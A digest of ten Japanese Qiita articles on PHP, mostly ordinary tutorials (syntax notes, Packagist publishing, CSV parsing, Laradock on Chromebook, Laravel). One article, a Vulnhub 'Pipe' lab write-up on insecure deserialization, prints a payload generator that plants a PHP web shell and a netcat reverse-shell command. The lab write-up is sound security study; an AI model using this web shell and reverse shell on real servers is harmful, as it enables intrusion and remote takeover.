20210314のPHPに関する記事は10件です。

PHPメモ

###変数の値を表示
var_dump(変数)

###文字列の中の数字を使った計算
$value = "2人"+ "3人";
$valueは5

###文字のインク・デクリメント
$str = "a";
$str++;
$strはb

###文字列の結合。連結は【+】ではなく【.】を使う
$str = "a"."b"."c";
$strはabc

$num = 20;
$value = $num . 77;数字も文字列になる
$valueは2077

###NULLだった場合の初期値を設定
$num = null;
$value = ($num ?? 2);
$valueは2

###文字列と数値の比較
"99" == 99 は型を見ないのでtrue
"99" === 99 は型も見るのでfalse

###treu falseのecho
echo true; 1
echo false; 【】何も表示されないので注意

###HTMLに適した条件分岐
<?php if(条件式): ?>
 HTMLコード
<?php elseif(条件式): ?>
 HTMLコード
<?php else : ?>
 HTMLコード
<?php endif; ?>

###関数で引数の数が不明な場合
testFunction("名前","吉田","上田","野村");
//2番目以降の引数は$membersに配列で格納される
function testFunc($name,...$members){
    var_dump($members);
}


//引数を固定しない
function testFunc(){//引数を指定しなくてよい
  $all = func_get_args(); //すべての引数を取得
  $numSrgs = func_get_arg() //引数の個数を取得
}
testFunc(10,20,30,40);
###static変数
static $count = 0;
ローカルスコープのみ。関数を抜けても値はクリアされない。

###配列の値を合計する
array_sum(配列);

###変数込みの文字列の出力
$str = "変数";
echo "テスト{$str}文章です"; //変数を{}でくくる。
=>テスト変数文章です。


###フォーマット文字列
符号指定子 +-を付ける
printf('%+d',-10); => -10
printf('%+d',10); => +10

パディング指定子 指定の桁数を0で埋める(指定できるのは1文字だけ)
//3桁の余りを0で埋める
printf('番号は%03dです。',3);
=> 番号は003です。 

//0以外の文字で埋める "で囲って、%の後に'を置く
printf("番号%'*6d",4);
=> 番号*****4

//日付に使う
printf('%04d-%02d-%02d,$year,$month,$day);
=> 1993-02-08

//小数点以下を指定する(繰り上げ)
printf('%.2f',10.28438);
=>10.28
printf('%.03f',10.2);
=>10.200

//指定数の文字数で切る
printf('%.5s ...',"TestName");
=>TestN ...

//配列で指定 vprintf()
$data = array($max,$min,$ave);
$format = '最大値%.1f,最小値%.1f,平均値%.1f';
vprintf($format,$data);

###数値をカンマで区切る
number_format(2000);
=>2,000
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【Vulnhub】/DEV/RANDOM: PIPEをやってみた

はじめに

ホワイトボックステストの練習をしたかったので、ソースコードが与えられているという前提でVulnhubをやってみました。そのためポートスキャンや権限昇格といった内容は省略しています。

klezVirusさんのブログを参考にしています。こっちの方が分かりやすいかもしれません。
https://klezvirus.github.io/Misc/HTB-VH-OSWE/reviews/vulnhub/pipe/

/dev/random: Pipe

Pipeは、3つのPHPファイルで構成されているWebアプリです。
- サーバ名: /dev/random: Pipe
- リリース日: 2015年10月2日
- 作者: Sagi-
- リリーズ: /dev/random

ソースコード検証

HTTPアクセスには、ベーシック認証が必要です。
しかし以下のとおり、HTTP Verb Tamperingで認証回避が可能となっています。

AuthUserFile /var/www/html/.htpasswd
AuthName "index.php"
AuthType Basic
<Limit GET PUT HEAD OPTIONS DELETE>
require valid-user
</Limit>

index.phpでは、著者の情報を取得するためにInfoのインスタンスが生成され、POSTパラメータparamでシリアライズされたオブジェクトと比較されます。

  • HTTP POSTパラメータparamが値をチェックされずにunserialize()されている。
  • index.php内にimportが2種類ある。
    • info.php
    • log.php
index.php(一部省略)
<?php
include 'info.php';
include 'log.php';

$artist = new Info();
$artist->id = 1;
$artist->firstname = 'Rene';
$artist->surname = 'Margitte';
$artist->details = '...';

...
if (isset($_POST['param'])) {
    $info = unserialize($_POST['param']);
    if (strcasecmp($info->firstname, $artist->firstname) == 0 && strcasecmp($info->surname, $artist->surname) == 0){
        echo $artist->details;
    }
}
...
?>

info.phpは、メソッドを持たないクラスなのでlog.phpを参照します。

log.php
<?php
class Log
{
    public $filename = '';
    public $data = '';

    public function __construct()
    {
        $this->filename = '';
        $this->data = '';
    }

    public function PrintLog()
    {
        $pre = "[LOG]";
        $now = date('Y-m-d H:i:s');

        $str = '$pre - $now - $this->data';
        eval("\$str = \"$str\";");
        echo $str;
    }

    public function __destruct()
    {
        file_put_contents($this->filename, $this->data, FILE_APPEND);
    }
}
?>

クラス内には、filenamedataの2つの変数があります。
デシリアライズしたインスタンスが破棄されるとdataの内容はfilenameに書きこまれます。
アプリケーションでクラスが定義されているので、デストラクタが攻撃に悪用できます。

  1. シリアライズされたLogのHTTP POSTがIndex.phpに送信される。
  2. index.phpは、unserialize()を呼び出し、デシリアライズでLogのインスタンスを作成する。
  3. index.phpの呼び出しが終了する。
  4. Logのインスタンスオブジェクトは呼び出しが終わると破棄される。
  5. __destruct()

Exploitation

シリアライズされたInfoのインスタンスを書き換えてバックドアを仕込みます。
まずペイロードを作成するgenerate.phpを作ります。

generate.php
<?php 
class Log
{  
  public $filename="/var/www/html/scriptz/shell.php";
  public $data="<?php system(\$_GET['cmd']);?>";
}
print(urlencode(serialize(new Log))."\n"); 
?>

generate.phpを実行します。

php generate.php

生成されたパラメータをPOSTします。

curl -ksi -X POST 'http://pipe.local/index.php' --data-binary 'param=O%3A3%3A%22Log%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A24%3A%22%2Fvar%2Fwww%2Fhtml%2Fshell.php%22%3Bs%3A4%3A%22data%22%3Bs%3A29%3A%22%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%3B%7D'

リバースシェルを発動させます。

curl http://pipe.local/scriptz/shell.php?cmd=nc+-e+/bin/bash+MY_IP+4444

まとめ

pipeは、安全でないデシリアライゼーションを理解する上で入門マシンといえそうです。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

自作フレームワークをPackagistに公開する

はじめに

PHPで自作フレームワークを作成したので、この機会にPackagistに公開してComposerで取ってこれるようにしようと思いました。
初めての公開なので間違ってる部分が、あればご指摘を頂ければ幸いです。

公開するまでの流れを紹介していきます。

目次

  1. composer.jsonの作成
  2. ライセンスファイルの作成
  3. GitHubにpush
  4. Packagistに登録
  5. Composerで確認
  6. 最後に
  7. 参考文献

composer.jsonの作成

最初に、composer.jsonを自分が作成したプロジェクトのルートディレクトリに作成していきます。

{
    "name": "fumiya5863/cherry-ti",
    "type": "project",
    "description": "The CherryTI Framework.",
    "homepage": "https://github.com/fumiya5863/CherryTI",
    "license": "MIT",
    "authors": [
        {
            "name": "fumiya5863"
        }
    ],
    "require": {
        "illuminate/database": "^7.0",
        "vlucas/phpdotenv": "^5.0"
    },
    "config": {
        "vendor-dir" : "./system/external"
    }
}

上記の内容がcomposer.jsonの設定です。keyの用語の意味は下記になります。

key 意味
name ベンダー名/プロジェクト名
type パッケージのタイプ (デフォルトはlibrary、今回はproject)
description パッケージの簡単な説明
homepage プロジェクトのウェブサイトへのURL
authors パッケージの作者
license パッケージのライセンス
require このパッケージに必要なパッケージのマップ
config 設定オプションのセット(どこにvendorフォルダをおくか)

参考 The composer.json schema

今回は、composer.jsonのファイルを自分で作成して記入しましたが、対話形式からでも作成できます。
下記のコマンドを叩いてもらうと対話形式でcomposer.jsonが作成されます。

composer init

一通りの設定を記入した後に、バリデーションチェックをしましょう。

composer validate

バリデーションチェックに通った場合は、./composer.json is validと表示されます。

次にライセンスファイルの作成をします。

ライセンスファイルの作成

今回、GitHubでMITライセンスを設定していたのでLICENSEファイルの中身の内容は下記になります。

MIT License

Copyright (c) 2021 fumiyan

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

GitHubでのライセンス設定は、下記の記事を参考にさせて頂きました。

参考文献: https://qiita.com/shibukk/items/67ad0a5eda5a94e5c032

GitHubにpush

次に、フレームワークのバージョンを指定したいので下記のgitコマンドを叩きます。

git tag v1.0.0

バージョンの指定が出来たので、次に下記のコマンドを叩きます。

git push origin v1.0.0

これでリモート上にタグが反映されます。

次に、Packagistに登録して終了です。

Packagistに登録

Packagistに登録します。

キャプチャ.PNG

登録が完了したら、次にフレームワークを登録します。

キャプチャ.PNG

上記の画像のヘッダー部分にあるsubmitを押すと上記の画面が表示されます。

次に下記画像のRepository URLに自分のリポジトリのURLを記入して下さい。
キャプチャ.PNG

これで、登録出来たので検索して確認してみましょう。
キャプチャ.PNG

実際に検索をすると検索にヒットして表示されます。

最後に、Composerで落とせてこれるか確認しましょう。

Composerで確認

下記のコマンドを叩いて頂くと落とせてこれます。

composer create-project fumiya5863/cherry-ti

キャプチャ.PNG

実際に、落とせることが出来ました!!

最後に

いかがだったでしょうか、自分が作成してみたライブラリやフレームワークなどを実際にあげてみることでこういった仕組みでいつも使っているライブラリやフレームワークを落とせてくるのかと分かると思います。皆さんも是非やってみて下さい。
他にも、GitHubにpushした時に、自動でPackagist側に通知を設定するとかもやっておいた方が楽になるかもしれません。

自分が作成したフレームワークも触って頂けると幸いです(笑)

参考文献

http://vdeep.net/composer-packagist
The composer.json schema
https://qiita.com/shibukk/items/67ad0a5eda5a94e5c032
https://qiita.com/soyanchu/items/72095a7c9fdb7f71b2c3

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

PHP 関数スコープ ローカル、グローバル

PHPの関数スコープについての基本

例)

<?php

$a =10;
$n = 100;


<?php
$a = 10;
$n = 100;

function change()
{
    print $GLOBALS['a'] . "\n";
    $GLOBALS['a'] = 25;
}
change(); //10
print $a . "\n"; //25

function change2()
{
    $n = 10;
}
change2();
print $n . "\n"; //100

function change3()
{
    global $n;
    $n = 15;
}
change3();
print $n . "\n";//15


グローバル関数の指定には2種類ある

$GLOBALS['a'];
global $n;

①について

$GLOBALS['a'];は関数内からグローバルスコープへのアクセスが可能になる。
'a'の部分に変数の$を除いた値を入れると使用可能(今回は$aの為'a')
$GLOBALS['a'] = 'hoge';
のように値を変更できる

②について

global $n
$n = 'hoge';
とすることで変更可能に

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

セル内に改行があるCSVをPHPで処理する方法

fopen でファイルを読み込んで、CSV処理を書いていると、
CSVのセル内に改行があり、ハマったのでメモ

fopen で書いていたがセル内の改行がうまく取得できない

$file = "test.csv";
$fp = fopen($file, "r");
while($line = fgets($fp)) {
    $data = explode(",", $line);

    //DB保存など

}
fclose($fp);

このような感じでコードを書いていたが、
CSVのセル内に改行があると、うまくデータが取得できない

解決方法

SplFileObject クラスを書けば、うまいこと取得してくれた

$file = new SplFileObject($file);
$file->setFlags(
    \SplFileObject::READ_CSV |           
    \SplFileObject::READ_AHEAD |       
    \SplFileObject::SKIP_EMPTY |       
    \SplFileObject::DROP_NEW_LINE 
);


foreach ($file as $data) {
    error_log(print_r($data, true));
    //1行ずつ配列として取得できる
}

超ラク

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

生のPHPとLaravelの、二通りの類似ポートフォリオを作った話

はじめに

こんにちは、おーもとと申します。エンジニアに転職をするため学習している初学者です。
私は車が好きで、「近年の若者の車離れ」という問題にフォーカスしたアプリを制作しようと思いました。

制作背景

若者が車を持たない理由には様々な理由があると思いますが、
「欲しいと思えるほど魅力を感じる車に出会っていないからなのでは?」
と思い、
・かわいいやかっこいいというスタイル
・大きさ
・国産か外車か
・アウトドアや街乗りという用途
これらの項目に当てはまる車を、結果として表示するアプリを制作することにしました。
(これらの特徴は全て私が定めているため、投票などにより特徴を決める機能をつけたいです)

11月 PHPでアプリ開発

10月からPHPの学習を始めていたので、そのアプリはPHPで制作しました。
カーセンサーAPIを使用して、車の情報を取得します。
解説動画:https://www.youtube.com/watch?v=ZXbgUtjxKM8
スクリーンショット 2020-12-12 12.34.26.png

機能

ユーザー登録関連
⚪︎ ログイン
⚪︎ ログアウト
⚪︎ 新規登録
⚪︎ ユーザー件数を表示

車の検索機能
⚪︎ 車の見た目→「かわいい」「かっこいい」「シンプル」「おしゃれ」「レトロ」
⚪︎ 車のサイズ→「ふつう」「すごくおおきい」「おおきい」「ちいさい」
⚪︎ 車の製造国→「国産車」「外車」
⚪︎ 車の用途 →「街乗り」「アウトドア」「スポーツ」

カーセンサーAPI連携
⚪︎ DBにある車情報と合致した車情報を取得
⚪︎ cronでキャッシュファイル自動生成

苦労した点

検索結果の画像表示高速化

検索の度にAPIからデータを取得していたので、電波の悪い場所では結果の表示に1分以上かかっていました。
毎日APIからデータを自動取得しキャッシュ化することで、ユーザーにストレスのない速度で結果を表示させることができました。

EC2へデプロイ

公式ドキュメントを参考にしデプロイしました。
その際、インフラの知識が不足していたため、デプロイに一週間以上かかりました。

APIのサービス終了!!

転職活動を始めようとした際、一週間後にカーセンサーAPIサービスが終了すると知りました。
急いで提供元へ問い合わせたところ、
「完全に提供が終了すること」「24時間以上のキャッシュデータの保有も禁止」、ということを告げられました。
その後、他の車データAPIの提供元を調べましたが他にありませんでした。
画像だけでもどうにかならないかと思い、ト◯タや◯産などの画像利用規約を確認しましたが、
営利目的ではない&提供元のURLなどの情報を記載する
としても、利用は禁止でした。
そのためLaravelの勉強も兼ねて、画像問題を解決できるアプリの制作に取り掛かりました。

1月 Laravelでアプリ開発

12月末からLaravelの学習を始め、1月からアプリの制作に取り掛かりました。

前回のPHPで制作したポートフォリオとの違い

画像の取得にAPIを用いていましたが、ユーザーから愛車の画像を提供してもらう方針に変更し、機能の追加などを行いました。

完成

アプリのURL:https://pf-kurushira.com
(スマホサイズにも対応しています)
スクリーンショット 2021-03-14 16.03.00.png

使用技術

使用言語

⚪︎ HTML
⚪︎ CSS
⚪︎ SCSS
⚪︎ PHP 7.4.14
⚪︎ Laravel 6.20.11

インフラ

⚪︎ Github Actions 自動デプロイ
⚪︎ Docker 20.10.2 / docker-compose 1.27.4
⚪︎ nginx 1.18
⚪︎ mysql 5.7.31 / PHPMyAdmin
⚪︎ AWS ( EC2, ALB, ACM, S3, RDS, Route53, VPC, EIP, IAM)

インフラ構成図

スクリーンショット 2021-02-28 20 11 32

機能一覧

機能 概要
ユーザー管理機能 新規登録・ログイン・ログアウトができます
簡単ログイン機能 ログイン画面のゲストログインをクリックすることで、ゲストユーザーとしてログインできます
おすすめ車種検索機能 条件を選択すると、それにあった車種一覧を表示します
検索履歴機能 直近の検索履歴・結果を表示します
画像提供機能 ユーザーの所有している車の画像を提供できます
提供した画像の削除機能 提供した画像を削除できます
提供画像一覧表示機能 自身が提供した画像一覧を表示します。
ユーザー情報編集機能 ご登録いただいたユーザー名・メールアドレスを変更できます
Twitterシェア機能 車の検索結果をツイートすることができます
レスポンシブ機能 スマホサイズ(320~540px)にも対応しています

DB設計

スクリーンショット 2021-02-20 19 05 58

各テーブルについて

テーブル名 説明
users 登録ユーザー情報
cars 登録車情報
histories 直近の検索結果の情報
car_images 提供画像の情報

苦労した点

ユーザー情報編集ページのバリデーション

LaravelのAuth機能のバリデーションを使いまわそうとしましたが、ブラックボックスになっていて苦労しました。
→新しくバリデーションを作成。

S3からオブジェクト削除

画像の削除機能でDBからだけでなく、S3からもオブジェクトを削除する必要があり苦労しました。
→解決方法を記事にしました
laravel6でS3に画像アップロード&削除

今後の課題

機能

機能 概要
英訳機能 Google Cloud Translation APIを利用して翻訳
通報機能 ユーザーの投票で不適切な画像を削除

技術

⚪︎ テスト
⚪︎ Dockerを用いた本番環境の構築
⚪︎ ECSへデプロイ

参考にした学習教材など

PHP/Laravel

【Udemy】PHP+MySQL(MariaDB) Webサーバーサイドプログラミング入門
【書籍】詳細!PHP 7+MySQL 入門ノート
【書籍】PHPフレームワークLaravel入門 第2版
【書籍】PHPフレームワーク Laravel実践開発
Laravel6.0(PHP7.3)+MySQL+Laradockで簡易的なECサイトを作る

AWS

【Udemy】AWS:ゼロから実践するAmazon Web Services。手を動かしながらインフラの基礎を習得

Docker

【超入門】20分でLaravel開発環境を爆速構築するDockerハンズオン

さいごに

生のPHPでひとつPFを制作したのは、基礎力が身についたので良かったと思います。
今回ポートフォリオ完成を優先したため、ECSではなくEC2へデプロイしました。
まだ課題も多いですが、ブラッシュアップしていきたく思っています。
長くなりましたが、ここまで読んでくださりありがとうございました!!

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

エスケープシーケンスでターミナルにカラー表示するチートシート

image.png

こんなふうにテキストに色や下線を付けてターミナルで表示させるには、

Rubyなら \e[...m

puts("ABC\e[4;31;44mDEF\e[0mGHI")
puts("ABC\e[38;5;45mDEF\e[0mGHI")

Perlなら \e[...m

print "ABC\e[4;31;44mDEF\e[0mGHI\n";
print "ABC\e[38;5;45mDEF\e[0mGHI\n";

PHPなら \e[...m

print("ABC\e[4;31;44mDEF\e[0mGHI\n");
print("ABC\e[38;5;45mDEF\e[0mGHI\n");

Bashなら \e[...m

echo -e "ABC\e[4;31;44mDEF\e[0mGHI"
echo -e "ABC\e[38;5;45mDEF\e[0mGHI"

Pythonなら \x1b[...m

print("ABC\x1b[4;31;44mDEF\x1b[0mGHI");
print("ABC\x1b[38;5;45mDEF\x1b[0mGHI")

Node.jsなら \x1b[...m

console.log("ABC\x1b[4;31;44mDEF\x1b[0mGHI");
console.log("ABC\x1b[38;5;45mDEF\x1b[0mGHI");

Scalaなら \u001b[...m

println("ABC\u001b[4;31;44mDEF\u001b[0mGHI");
println("ABC\u001b[38;5;45mDEF\u001b[0mGHI");

Javaなら \033[...m または \u001b[...m

System.out.println("ABC\033[4;31;44mDEF\033[0mGHI");
System.out.println("ABC\033[38;5;45mDEF\033[0mGHI");

[m の間の数字が色や装飾を表すパラメータです。パラメータが複数の場合はセミコロンで区切ります。上記サンプルであれば4は下線、31は赤文字、44は青背景、0はリセットです。

\e[4;31;44m\e[4m\e[31m\e[44m としても同じです。

38と48は、セミコロン区切りで続くパラメータが必須で、詳細な色を指定できます。

装飾

パラメータ 効果 Windows Terminal Windows Tera Term Mac Terminal
1 太字(Bold)
2 細字(Faint, light font weight) ×
3 斜体(Italic)
4 下線(Underline)
5 点滅(Blink)
6 速い点滅(Rapid blink) × × ×
7 背景色と文字色を入れ替える
8 文字を隠す(Conceal) ×
9 取り消し線(Strike) × ×

○:対応していそう
△:エスケープシーケンスに反応して変化はしているが、思ってたのとちがう
×:非対応

8の文字を隠す効果は、対応している端末では、文字は見えませんが、マウスで選択すると文字が現れ、テキストをコピーできます。tmuxでもテキストをコピーできます。

Windows Terminal

image.png

WindowsのTera Term

image.png

MacのTerminal

image.png

標準の8色 明るい8色 256色 RGB
文字色 30~37 90~97 38;5;n 38;2;r;g;b
背景色 40~47 100~107 48;5;n 48;2;r;g;b

8色は下1桁で次の色を表します。

0 1 2 3 4 5 6 7

256色のnは0~255の範囲で指定します。nを0~7にすると標準の8色と同じ色で、8~15にすると明るい8色と同じ色になります。

RGBのr, g, bの箇所も0~255の範囲で指定します。

WindowsのTera Termでは8色までしか対応していないようです。Windows TerminalとMacのTerminalは、256色もRGB指定も機能するようです。

Windows Terminal

8色指定と256色指定
image.png

RGB指定
image.png

WindowsのTera Term

8色指定と256色指定
image.png

RGB指定
image.png

MacのTerminal

8色指定と256色指定
image.png

RGB指定
image.png

リセット

パラメータ 効果
0 リセット

色や装飾の指定をすべて解除します。

この0は省略できます。Rubyなら \e[m でリセットになります。

サンプルコード

この記事の装飾と色のサンプル出力に使ったコードは以下です。Rubyです。

puts()

def showcase1(str, text)
  "\e[#{str}m\\e[#{str}m#{text}\e[0m "
end

def showcase2(str)
  "\e[#{str}m\\e[#{str}m" + (" " * (8 - str.length)) + "\e[0m "
end

def showcase3(str, text)
  "\e[#{str}m#{text}\e[0m"
end

line = " "
(1..9).each do |i|
  line += showcase1("#{i}", "いろは")
end
puts(line)
puts()

line1 = " "
line2 = " "
(0..7).each do |i|
  line1 += showcase2("#{30+i}")
  line2 += showcase2("#{40+i}")
end
puts(line1)
puts(line2)
line1 = " "
line2 = " "
(0..7).each do |i|
  line1 += showcase2("#{90+i}")
  line2 += showcase2("#{100+i}")
end
puts(line1)
puts(line2)
puts()

(0..256).each do |i|
  if i % 8 == 0
    line1 = " "
    line2 = " "
  end
  line1 += showcase2("38;5;#{i}")
  line2 += showcase2("48;5;#{i}")
  if i % 8 == 7
    puts(line1)
    puts(line2)
  end
end
puts()

(0..256).each do |i|
  if i % 64 == 0
    line1 = " "
  end
  line1 += showcase3("48;2;0;255;#{i}", " ")
  if i % 64 == 63
    puts(line1)
  end
end
puts()

※エスケープシーケンスは、ほかにもカーソル移動や画面のクリアなどもできますが、本稿では色やテキストの装飾にとどめておきます。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Crostini+Laradockで、ChromebookのLaravel開発環境

ChromebookでPHP開発環境を作ります
Chrome OSのLinux環境(Crostini)を使います
PHPフレームワークLaravelの開発をお手軽にしてくれるLaradockをインストールして動かします。
「Laradockは、Docker用の完全なPHP開発環境(公式サイトより)」

Crostiniの基本的な環境構築

  • 日本語化
  • npm などのインストール
  • Docker、Docker Compose のインストール

などはたくさん有益でわかりやすいな情報があるので、それぞれ参考にしてください。(参考になったサイトを下の方にまとめました)

Laradockのインストール

Laradock公式サイト
公式サイトで丁寧に解説してくれているので、この通りでインストールできます。

適当な場所にて

ターミナル
git clone https://github.com/Laradock/laradock.git

環境ファイルを作成(いったんそのまま)

ターミナル
cp env-example .env

起動

ターミナル
docker-compose up -d nginx mysql phpmyadmin redis workspace

起動時にエラーになった場合
自分は初回の起動時に「worksspaceのSSHポートが使われている」という感じのエラーがでましたので、ポートの指定を変更して回避しました。

laradock/.env
# WORKSPACE_SSH_PORT=22
WORKSPACE_SSH_PORT=50022

初回は結構長い時間かかりますが、これで起動までできるはず。

起動ご確認

デフォルトだとlaradockディレクトリと同じ階層の public が公開ディレクトリになっているので
以下のような public/index.html を適当な内容で保存する

∟ laradock/
∟ public/
 ∟ index.html

Chrome OS 側の Chromeブラウザから penguin.linux.test のURLにアクセスして、index.htmlの内容が表示されれば成功。
penguin.linux.test は Crostiniに割り振られたアドレスになります。

Laravelのインストール

立ち上げたLaradockの中でLaravelをインストールします。
基本は公式の通り

https://laravel.com/docs/8.x/installation
https://readouble.com/laravel/8.x/ja/installation.html

Laradockのコンテナ内でインストールするときなどに docker-compose exec コマンドでコンテナに接続する必要があるのですが

ターミナル
docker-compose exec --user=laradock workspace bash

というようににユーザーを指定する必要があります。
--user オプションを指定しないで接続すると、コンテナ内部から作成したファイルの所有者が root になってしまい編集できなくなってしまいます。
普段はmacOSなどでやっていると、ここらへん無頓着になっていて、ハマってしまいました。。

ユーザー名は、laradock を指定してあげれば、自分のユーザーが割り当てられて、ファイルなども自ユーザー所有として作成されます。とても便利です。

あとは、自分の使いたいバージョンをドキュメントにそってインストールするだけです。

ターミナル(コンテナ内)
composer global require laravel/installer
laravel new example-app

Laradockで複数プロジェクトを管理

https://laradock.io/getting-started/
Setup for Multiple Projects:
の項目にあるように、Laradockで複数のプロジェクトを立ち上げて開発することができます。

ただし、Chromebookでは、/etc/hosts の編集ができないため少し工夫が必要です。

詳しい手順は公式で見ていただくとして、大事な部分のみ。
Laradockでは、複数プロジェクトを管理するときは以下のような構成になります。

ターミナル
∟ laradock
∟ project1
  ∟ public
  ∟ laravelの各種ファイル
∟ project2
  ∟ public
  ∟ laravelの各種ファイル

このようにファイルを配置したら
あとは nginx で振り分けます。

ターミナル
cd laradock/nginx/sites
cp laravel.app.example project1.conf
cp laravel.app.example project2.conf

設定ファイルをプロジェクトごとに設定

project1.conf
#server_name laravel.test;
server_name project1.test;
#root /var/www/laravel/public;
root /var/www/project1/public;
****.conf
#server_name laravel.test;
server_name ****.test;
#root /var/www/laravel/public;
root /var/www/****/public;

こんな感じで設定したら、本来は /etc/hosts を書き換えるだけ。。なんだけど、残念ながら Chrome OS はhostsの書き換えができない。
(デベロッパーモードにしたりすればできるらしいんだけど、そこまではしたくない)

というわけで、どうしようか色々調べたところ Crostiniに簡易DNSサーバーを立ててしまう。という解決方法を見つけた。
ちょっと大変そうだけど興味もあったのでチャレンジしてみました。

Crostini で簡易DNSサーバを立てる

基本的にこちらを参考
とても詳しく書いてあり、とても勉強になりました。
https://qiita.com/arakaki_tokyo/items/c17e07220b8f7c465564

Dnsmasq のインストール

Dnsmasqはお手軽DNSサーバとして情報も多くちょうどよい感じのようです。まずはインストール

ターミナル
sudo apt-get install dnsmasq

次に設定をします。
上記の参考サイトのをまるっと参考にさせていただきました。

/etc/dnsmasq.conf
listen-address=[CrostiniのIPアドレス]
interface=eth0
log-queries
log-facility=/var/log/dnsmasq.log
port=53
no-resolv
address=/test/[CrostiniのIPアドレス]

これで、**.test というドメインを全部Crostiniに向けます。

ちなみにCrostini のIPアドレスの確認方法

ターミナル
ip addr show

eth0のあたりです。
参考)
https://stackoverflow.com/questions/53215483/how-do-i-find-out-the-ip-address-of-my-crostini-container

DNSサーバの起動

ターミナル
# 起動
sudo systemctl start dnsmasq
# 毎回自動的に起動するように設定
sudo systemctl enable dnsmasq

で、DNS立ち上げたら、あとはChromeブラウザからURLを見に行くときにCrostiniのDNSを見に行くようにします。
エラーが出た人は下の対処方法を参考に。

DNSサーバのポート問題でエラー

自分の場合はここで、Dnsmasqを立ち上げるときに、53番ポートが使われているよ。的なエラーがでてしまいました。

解決方法
systemd-resolvedのstub listenerというのがおなじく53番ポート使っていて被ってしまっているようだったので、それを無効にするオプションを設定

/etc/systemd/resolved.conf
[Resolve]
DNSStubListener=udp

これで、全部再起動

ターミナル
sudo systemctl restart systemd-resolved
sudo systemctl restart dnsmasq

で、なんとか動きました。
この部分は、ほんとうに手探りなのでした。
この方法だとまずいとか、もっといい方法あるとかあれば教えて下さい。

Chrome OS にネームサーバの設定

  1. Chrome OS の設定画面 → ネットワーク → Wi-Fi
  2. 今接続しているWi-FiのSSIDを開く
  3. 設定項目が表示されるのでネットワークを開く
  4. [ネームサーバー]の欄を見る → 多くの人が自動ネームサーバーになっていてそこに現在のネームサーバーが表示されている
  5. カスタムネームサーバーを選択
  6. 一番上をCrostiniのIPアドレス、2番めを自動ネームサーバーに表示されていたIPアドレスに設定

これで、Laradockからさきほど設定した project1.test などのtestu用ドメインをChromeブラウザで開く。
project1/public/ 内に保存した内容が表示されれば成功です。

以上で、Chromebook上のLaradockで複数プロジェクトを管理できるようになりました。

動かすまでの流れと詰まったポイントをざっくり書きました。抜けなどあるかもしれません。
こまかな設定などはそれぞれの公式サイトや他の皆さんの記事を参考にしてください。

ありがとうございました。

さいごに

自分の場合は、PHPを使うときって地元(地方都市です)で、ちょっとしたウェブ周りの機能やWordPressのカスタマイズなどを依頼されたときが多くて、いつも持ち運べるChromebookで打ち合わせの合間とか空いた時間にちょこっとコードかけるスタイルが、PHPととてもあっているように思ってLaradockインストールしてみました。
まだ、とりあえず立ち上げたという段階ですが、いろいろ使ってみたいと思います。

参考

Crositni日本語化

Dockerインストール

必要な言語のインストール

DNSサーバー関連

dnsmasqとsystemd-resolved のエラー解決関連

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Laravelのデフォルトのメーラーを取得する

概要

config/mail.php で設定したメーラーにアクセスします。

環境

Laravel 7.x, 8.x で動作確認しています。

取得方法

app('mailer');

または

app('mail.manager')->driver();

または

app('mail.manager')->mailer();

どれも Illuminate\Mail\Mailer を返します。

また、デフォルト以外のメーラーは driver('ses') のように引数を与えると取得できます。

mail.manager について

app('mail.manager')Illuminate\Mail\MailManager を返します。

資料

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

laravel Seeder(シーダー)を使ってみる

目的

  • laravelでSeeder(シーダー)を使う方法をまとめる。

環境

  • ハードウェア環境
項目 情報
OS macOS Catalina(10.15.5)
ハードウェア MacBook Pro (13-inch, 2020, Four Thunderbolt 3 ports)
プロセッサ 2 GHz クアッドコアIntel Core i5
メモリ 32 GB 3733 MHz LPDDR4
グラフィックス Intel Iris Plus Graphics 1536 MB
  • ソフトウェア環境
項目 情報 備考
PHP バージョン 7.4.8 Homebrewを用いてこちらの方法で導入→Mac HomebrewでPHPをインストールする
Laravel バージョン 8.X commposerを用いてこちらの方法で導入→Mac Laravelの環境構築を行う
MySQLバージョン 8.0.19 for osx10.13 on x86_64 Homwbrewを用いてこちらの方法で導入→Mac HomebrewでMySQLをインストールする
Node.jsバージョン v12.14.1 Homwbrewを用いてこちらの方法で導入→Mac HomebrewでNode.jsをインストールする

情報

  • limitsというテーブルが存在し、下記のようなカラムの設定になっているとする。

    mysql> show full columns from limits;
    +------------+-----------------+--------------------+------+-----+---------+----------------+---------------------------------+---------+
    | Field      | Type            | Collation          | Null | Key | Default | Extra          | Privileges                      | Comment |
    +------------+-----------------+--------------------+------+-----+---------+----------------+---------------------------------+---------+
    | id         | bigint unsigned | NULL               | NO   | PRI | NULL    | auto_increment | select,insert,update,references |         |
    | name       | varchar(255)    | utf8mb4_unicode_ci | NO   |     | NULL    |                | select,insert,update,references | 期限    |
    | created_at | timestamp       | NULL               | YES  |     | NULL    |                | select,insert,update,references |         |
    | updated_at | timestamp       | NULL               | YES  |     | NULL    |                | select,insert,update,references |         |
    | deleted_at | timestamp       | NULL               | YES  |     | NULL    |                | select,insert,update,references |         |
